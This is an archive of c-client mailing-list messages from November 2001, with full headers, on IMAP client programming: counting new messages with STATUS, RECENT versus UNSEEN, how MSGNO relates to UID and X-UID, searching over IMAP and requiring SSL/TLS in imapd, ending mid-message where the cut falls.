fA5K2Z303473 for ; Mon, 5 Nov 2001 21:02:35 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id VAA28365 ; Mon, 5 Nov 2001 21:02:35 +0100 Message-Id: <200111052002.VAA28365@seth.lpthe.jussieu.fr> Date: Mon, 5 Nov 2001 21:02:35 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[2]: how to quickly get number of new messages? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 5 Nov 2001 11:37:46 -0800 (PST) Mark Crispin wrote: MC> mail_search() isn't bad. In fact, that's the way you do it. Thanks for your reply! MC> In general, MC> a client is not just interested in knowing how many new messages; it is MC> also interested in knowing where the new messages are. I agree that you usally want to do something with the new messages appearing in a currently opened folder (i.e. download them, filter them, ...) but I was thinking more about biff-like functionality. I.e. I'd like to update the status of the folders shown in the tree and for it would be nice to avoid doing mail_search() (and ideally even mail_open()) just for this. In fact, I think that I'll finally use mail_status() nevertheless and show all recent messages as new ones - although it is, of course, a false assumption, I think it would still be better than doing mail_search()... MC> The other thing that many clients do is a big fetch (1:*) of flags or MC> "fast" data via mail_fetch_flags()/mail_fetch_fast() to do a complete MC> client synchronization of flag state. That's a one-shot operation; MC> subsequent operations are just a reference to mail_elt() for the message MC> since the IMAP server will transmit flags updates and the remainder of the MC> fast data is static. Again, this is for the folders which are kept opened - I don't want to keep all folder on the IMAP server opened all the time. I'm still curious as to why IMAP STATUS command returns the number of the recent messages but not the new ones? Thanks, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 5 12:24:05 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 12:24:05 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5KO3T02342 for ; Mon, 5 Nov 2001 12:24:04 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Nov 05 12:23:58 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5KNvG11619; Mon, 5 Nov 2001 12:23:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5KNbb19808; Mon, 5 Nov 2001 12:23:37 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5KLEn165948 for ; Mon, 5 Nov 2001 12:21:14 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Nov 05 12:21:14 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5KLD900765 for ; Mon, 5 Nov 2001 12:21:13 -0800 Message-Id: Date: Mon, 5 Nov 2001 12:15:34 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[2]: how to quickly get number of new messages? In-Reply-To: <200111052002.VAA28365@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 5 Nov 2001 21:02:35 +0100 (CET), Vadim Zeitlin wrote: > I'd like > to update the status of the folders shown in the tree and for it would be > nice to avoid doing mail_search() (and ideally even mail_open()) just for > this. There are some optimizations possible. For example, you can compare RECENT from UNSEEN in STATUS. You can also look at the UNSEEN code from EXAMINE (which points at the first unseen message, not the number of unseen messages) and perhaps do something different if it disagrees with your assumption. > In fact, I think that I'll finally use mail_status() nevertheless and > show all recent messages as new ones - although it is, of course, a false > assumption, I think it would still be better than doing mail_search()... RECENT is an excellent approximation to NEW, particularly if it was obtained through mail_status(). > I'm still curious as to why IMAP STATUS command returns the number of the > recent messages but not the new ones? Most people care about UNSEEN instead of RECENT or NEW. From pinedev@shivax2.cac.washington.edu Mon Nov 5 12:32:37 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 12:32:34 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5KWVT19228 for ; Mon, 5 Nov 2001 12:32:32 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Nov 05 12:32:29 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5KWSG11911; Mon, 5 Nov 2001 12:32:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5KW7536046; Mon, 5 Nov 2001 12:32:07 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5KTvn64772 for ; Mon, 5 Nov 2001 12:29:57 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 05 12:29:55 2001 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5KTrB00548 for ; Mon, 5 Nov 2001 12:29:54 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id fA5KTmN23830 for ; Mon, 5 Nov 2001 21:29:48 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id fA5KTl303536 for ; Mon, 5 Nov 2001 21:29:47 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id VAA28385 ; Mon, 5 Nov 2001 21:29:47 +0100 Message-Id: <200111052029.VAA28385@seth.lpthe.jussieu.fr> Date: Mon, 5 Nov 2001 21:29:47 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[4]: how to quickly get number of new messages? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 5 Nov 2001 12:15:34 -0800 (PST) Mark Crispin wrote: MC> There are some optimizations possible. For example, you can compare RECENT MC> from UNSEEN in STATUS. The trouble is that I don't see any useful way to combine them... The only thing I see is that I can be sure that all recent messages are new ones if there had been no unseen messages initially in the folder (i.e. on program startup) and STATUS always returns UNSEEN == RECENT. But as soon as it doesn't, I'm lost. Am I not? MC> You can also look at the UNSEEN code from EXAMINE How can I do it using c-client? I didn't find a way to do it (I'm still using imap2000 BTW). MC> Most people care about UNSEEN instead of RECENT or NEW. I agree that UNSEEN is more important than RECENT... It's just that NEW seems more important than RECENT as well. In fact, I have some real troubles in finding any use in having RECENT reply in STATUS at all. Thanks, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 5 12:46:10 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 12:46:10 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5Kk8T26667 for ; Mon, 5 Nov 2001 12:46:09 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 05 12:46:02 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5Kk1G12357; Mon, 5 Nov 2001 12:46:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5Kjdb09978; Mon, 5 Nov 2001 12:45:40 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5Khln133354 for ; Mon, 5 Nov 2001 12:43:47 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Nov 05 12:43:47 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5Khk215286 for ; Mon, 5 Nov 2001 12:43:46 -0800 Message-Id: Date: Mon, 5 Nov 2001 12:34:06 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[4]: how to quickly get number of new messages? In-Reply-To: <200111052029.VAA28385@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 5 Nov 2001 21:29:47 +0100 (CET), Vadim Zeitlin wrote: > MC> There are some optimizations possible. > The trouble is that I don't see any useful way to combine them... You don't combine them. You can, however, derive certain conclusions, from which you can take action. UNSEEN == RECENT is an assumption that that many messages are new. UNSEEN > RECENT means that at least delta (the difference between the two) messages were not read during a session. UNSEEN < RECENT means that at least delta messages were appended or copied from another mailbox with the \Seen flag. > MC> You can also look at the UNSEEN code from EXAMINE > How can I do it using c-client? It is delivered to you via mm_notify(). > MC> Most people care about UNSEEN instead of RECENT or NEW. > I agree that UNSEEN is more important than RECENT... It's just that NEW > seems more important than RECENT as well. In fact, I have some real > troubles in finding any use in having RECENT reply in STATUS at all. UNSEEN and RECENT each define states, either of which is considered "new" by programs. NEW defines a combination of UNSEEN+RECENT, and to some people is rather nebulous; it isn't the messages they haven't read yet nor is the messages which are new to this session. In the traditional UNIX mailbox format, UNSEEN is the R flag, and not RECENT is the O flag. Consequently, traditional biff type programs usually announce RECENT rather than NEW, and traditional MUAs usually announce UNSEEN rather than NEW. From pinedev@shivax2.cac.washington.edu Mon Nov 5 12:54:43 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 12:54:42 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5KsfT01614 for ; Mon, 5 Nov 2001 12:54:41 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 05 12:54:35 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5KsZn24705; Mon, 5 Nov 2001 12:54:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5KnJ413578; Mon, 5 Nov 2001 12:49:19 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5Kl1n119810 for ; Mon, 5 Nov 2001 12:47:01 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Nov 05 12:47:00 2001 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5Kkt216317 for ; Mon, 5 Nov 2001 12:46:56 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.1/8.11.1) with ESMTP id fA5KklE18366 for ; Mon, 5 Nov 2001 17:46:47 -0300 Message-Id: <200111052046.fA5KklE18366@stratus.swi.com.br> Date: Mon, 5 Nov 2001 17:46:47 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@u.washington.edu Subject: MSGNO and UID Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I am thinking in a situation with the Message Number (MSGNO) of a message in a mailbox. If the last message (lets say MSGNO = 100 an X-UID = 100) is deleted and expunged from a open mailbox. If procmail (or another MDA) delivers a new message, will it get the old MSGNO (100) and UID 101? or the MSGNO will also be 101? Suposing that UID = 100 was the biggest uid in the mailbox before the new one arrives. Is it dangerous to be based on MSGNO? Can I reset the UID numbering? So that it would start from 1 in the current mailbox. Regards, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 5 13:01:06 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 13:01:06 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5L12T12123 for ; Mon, 5 Nov 2001 13:01:04 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Nov 05 13:00:54 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5L0rG12838; Mon, 5 Nov 2001 13:00:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5L0d204832; Mon, 5 Nov 2001 13:00:40 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5KwOn79516 for ; Mon, 5 Nov 2001 12:58:24 -0800 Received: FROM mxu2.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Nov 05 12:58:23 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5KwM418763 for ; Mon, 5 Nov 2001 12:58:23 -0800 Message-Id: Date: Mon, 5 Nov 2001 12:56:25 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: c-client@u.washington.edu Subject: re: MSGNO and UID In-Reply-To: <200111052046.fA5KklE18366@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 5 Nov 2001 17:46:47 -0300, Raul Dias wrote: > If the last message (lets say MSGNO = 100 an X-UID = 100) is deleted and > expunged from a open mailbox. > If procmail (or another MDA) delivers a new message, will it get the old > MSGNO (100) and UID 101? Yes. MSGNOs are always from 1 to number-of-messages. UIDs are uniquely assigned, and are never reused. Thus, MSGNO==UID can only happen in a mail store which assigns UIDs consecutively from 1, in a mailbox that has never had any messages expunged. > Can I reset the UID numbering? So that it would start from 1 in the current > mailbox. You can not reset UID numbering without resetting UIDVALIDITY. You should avoid doing that. From pinedev@shivax2.cac.washington.edu Mon Nov 5 14:11:29 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 14:11:28 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5MBRT16185 for ; Mon, 5 Nov 2001 14:11:27 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Nov 05 14:11:24 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5MBOG15490; Mon, 5 Nov 2001 14:11:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5M9v422360; Mon, 5 Nov 2001 14:09:58 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5M6dn162880 for ; Mon, 5 Nov 2001 14:06:39 -0800 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Nov 05 14:06:38 2001 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5M6aB05402 for ; Mon, 5 Nov 2001 14:06:36 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.1/8.11.1) with ESMTP id fA5M6QE00811; Mon, 5 Nov 2001 19:06:27 -0300 Message-Id: <200111052206.fA5M6QE00811@stratus.swi.com.br> Date: Mon, 5 Nov 2001 19:06:27 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Mark Crispin Cc: Subject: Re: MSGNO and UID Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: c-client@u.washington.edu X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > >UIDs are uniquely assigned, and are never reused. > >Thus, MSGNO==UID can only happen in a mail store which assigns UIDs >consecutively from 1, in a mailbox that has never had any messages expunged. This raises another question. how does c-client deals with a message that already has a X-UID set? Does it corrects it, ignore it? Is is possible for a malicious mail to "poison" the mailbox by sending an email with an X-UID lower higher set? Or even worse. how does it deal if we get a message like the "Mail System Internal Data" with X-IMAP set to something? When seting the FLAGs in the c-client API to use UID instead of MSGNO, does it have a performance hit? Regards, Raul Dias From pinedev@shivax2.cac.washington.edu Mon Nov 5 14:19:59 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 14:19:58 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5MJvT27350 for ; Mon, 5 Nov 2001 14:19:58 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Nov 05 14:19:53 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5MJqn27969; Mon, 5 Nov 2001 14:19:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5MJZ538108; Mon, 5 Nov 2001 14:19:35 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5MFZn102918 for ; Mon, 5 Nov 2001 14:15:35 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 05 14:15:34 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5MFX911698 for ; Mon, 5 Nov 2001 14:15:33 -0800 Message-Id: Date: Mon, 5 Nov 2001 14:11:01 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Raul Dias Cc: c-client@u.washington.edu Subject: Re: MSGNO and UID In-Reply-To: <200111052206.fA5M6QE00811@stratus.swi.com.br> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 5 Nov 2001 19:06:27 -0300, Raul Dias wrote: > how does c-client deals with a message that already has a X-UID set? > Does it corrects it, ignore it? c-client attempts to correct it as best as it can. > Is is possible for a malicious mail to "poison" > the mailbox by sending an email with an X-UID lower higher set? To a limited degree, yes. But the worst impact of such poison is that invalidation of the entire UID regime for that mailbox and start a new one. > Or even worse. how does it deal if we get a message like the > "Mail System Internal Data" with X-IMAP set to something? X-IMAP only has effect with the very first message in the mailbox. That's one reason why the internal data message is your friend, since it holds on to that first place even when all real messages are deleted. > When seting the FLAGs in the c-client API to use UID instead of MSGNO, does > it have a performance hit? Yes, since c-client has to translate the UID to MSGNO. From pinedev@shivax2.cac.washington.edu Mon Nov 5 15:44:47 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 15:44:47 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5NijT24640 for ; Mon, 5 Nov 2001 15:44:45 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Nov 05 15:44:39 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5NicG18772; Mon, 5 Nov 2001 15:44:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5Ni6224702; Mon, 5 Nov 2001 15:44:06 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5NhEn164530 for ; Mon, 5 Nov 2001 15:43:14 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 05 15:43:13 2001 -0800 Received: from magic.merlins.org (magic.merlins.org [204.80.101.184]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5NhD416555 for ; Mon, 5 Nov 2001 15:43:13 -0800 Received: from magic.merlins.org (merlin@localhost [127.0.0.1]) by magic.merlins.org (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fA5Nh7Ov017078 for ; Mon, 5 Nov 2001 15:43:07 -0800 Received: (from merlin@localhost) by magic.merlins.org (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) id fA5Nh77l017076 for c-client@u.washington.edu; Mon, 5 Nov 2001 15:43:07 -0800 Message-Id: <20011105154306.B16484@magic.merlins.org> Date: Mon, 5 Nov 2001 15:43:07 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: c-client@u.washington.edu Subject: Grepmail that works over imap? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.2.12/Debian testing/unstable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have some mutt users, and mutt is now getting half decent imap support. One thing it does is when you do pattern matching in the body, it physically downloads all the messages and does the search itself instead of using the search function in the imap protocol (like netscape would) Another thing is that I have some users who keep their mailboxes in mbox format in their homedir (instead of MBX on the server) because they want to be able to run grepmail pattern ~/Mail/* Hence, the question: do you know of a unix program that can efficiently connect to an imap server and use the builtin search function to get mails that match a pattern. Bonus points if it does ssl/tls :-) Marc -- Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 5 15:48:50 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Nov 2001 15:48:50 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5NmnT10447 for ; Mon, 5 Nov 2001 15:48:49 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 05 15:48:43 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5Nmgn31098; Mon, 5 Nov 2001 15:48:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5NlP415072; Mon, 5 Nov 2001 15:47:25 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fA5Nken137556 for ; Mon, 5 Nov 2001 15:46:40 -0800 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Nov 05 15:46:40 2001 -0800 Received: from magic.merlins.org (magic.merlins.org [204.80.101.184]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fA5NkdB10526 for ; Mon, 5 Nov 2001 15:46:39 -0800 Received: from magic.merlins.org (merlin@localhost [127.0.0.1]) by magic.merlins.org (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id fA5NkXOv017169 for ; Mon, 5 Nov 2001 15:46:33 -0800 Received: (from merlin@localhost) by magic.merlins.org (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) id fA5NkXWl017167 for c-client@u.washington.edu; Mon, 5 Nov 2001 15:46:33 -0800 Message-Id: <20011105154632.C16484@magic.merlins.org> Date: Mon, 5 Nov 2001 15:46:33 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: c-client@u.washington.edu Subject: forcing SSL/TLS only on imap Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.2.12/Debian testing/unstable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I want to require encrypted connections for my users. So far I've simply not allowed connections to 143, and only opened up 993. However, with TLS, new clients may drop SSL and connect to 143 and do TLS, which won't work in my case. Is there a setting or a patch for imapd to accept SSL connections on 993, or accept connections on 143 provided that the client switches to TLS? (of course, even in this case, 